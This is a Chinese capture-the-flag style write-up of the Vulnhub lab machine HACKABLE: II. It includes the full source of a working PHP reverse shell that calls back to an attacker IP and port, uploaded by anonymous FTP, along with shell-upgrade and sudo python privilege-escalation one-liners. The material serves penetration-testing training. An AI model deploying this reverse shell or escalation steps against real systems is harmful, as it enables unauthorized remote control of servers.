freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

vulnhub|HACKABLE: II 记录
aboyslove 2023-02-26 16:13:49 112179
所属地 云南省
  • 英文名称:HACKABLE: II
  • 中文名称:可破解:II
  • 发布日期:2021 年 6 月 15 日
  • 难度:容易
  • 描述:这适用于 VirtualBox 而不是 VMware。
  • 下载地址https://www.vulnhub.com/entry/hackable-ii,711/

1、主机发现


095042c6038e2182168fc4afa96a91e5.jpeg

主机发现

2、端口扫描


072820964f5f661e8f149a56c8160d39.jpeg

端口扫描

3、FTP发现


4e6a8d33aec1c7741bbb7236c68c03e5.jpeg

FTP匿名登录

4、Web发现


dirsearch -u 192.168.199.100


f128b46c82d397e57543099df4c31cf7.jpeg

Web发现

5、访问Web页面


6e17c0c0142b55bcb1c7d64034d36eb0.png

访问Web页面

6、FTP上传PHP反弹shell


25712ea398ebc544d39e062b2ca5d117.jpeg

上传反弹shell文件,如下


<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

set_time_limit (0);

$VERSION = "1.0";

$ip = '192.168.199.247'; // ailx10 hacker

$port = 6666; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

//

// Daemonise ourself if possible to avoid zombies later

//

// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies. Worth a try...

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit

$pid = pcntl_fork();

if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}

if ($pid) {

exit(0); // Parent exits

}

// Make the current process a session leader

// Will only succeed if we forked

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");

exit(1);

}

$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

// Change to a safe directory

chdir("/");

// Remove any umask we inherited

umask(0);

//

// Do the reverse shell...

//

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}

// Spawn shell process

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

exit(1);

}

// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

// Check for end of TCP connection

if (feof($sock)) {

printit("ERROR: Shell connection terminated");

break;

}

// Check for end of STDOUT

if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");

break;

}

// Wait until a command is end down $sock, or some

// command output is available on STDOUT or STDERR

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send

// data to process's STDIN

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

// If we can read from the process's STDOUT

// send data down tcp connection

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

// If we can read from the process's STDERR

// send data down tcp connection

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}

?>

6、Web页面点击反弹shell


bcfa26d4ed8861ae76059c8233e31d8e.jpeg

Web页面点击反弹shell

7、反弹shell成功


4926f4daf70c155da36d114efbee81bf.jpeg

反弹shell成功

8、切换shell,便于后续提权


python3 -c 'import pty;pty.spawn("/bin/bash")'


899ab4812b63063fdb0dcd26376a3e96.png

切换shell,便于后续提权

9、寻找敏感文件


0609237532c13b0e2db093715180fcbd.jpeg

寻找敏感文件

10、检查系统版本,和CVE-2021-4034 polkit(pkexec)提权漏洞版本不对口


cat /etc/os-release


1232d640a2143985bbb57bf3e8a40ce4.jpeg

检查系统版本

11、查看home目录,发现线索在根目录下存在隐藏文件


76baa9ea9fe682e006a03bb20d5b1508.jpeg

查看home目录

12、运行隐藏文件


ed5d28f98337dd9506828167e5f880d6.jpeg

运行隐藏文件

13、md5解密


6663335ba221890cefefcafe41552a27.jpeg

md5解密

14、切换用户,获得普通flag


80a75fae0dfc4a946a92ad120b3d862a.jpeg

切换用户,获得普通flag

15、查看用户权限


afbfbb90583bc6a319bf3818fd5ec593.png

查看用户权限

16、sudo 提权


sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'


0af4ab2194eaaa009e633f94f439b526.jpeg

sudo 提权

17、获得root的flag


413b928af892dc9584e97b2ce9aa9a1a.jpeg

获得root的flag

到此,实验完成~

# 渗透测试
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 aboyslove 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
aboyslove LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
渗透测试原则及流程
2023-02-26
Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容
2023-02-25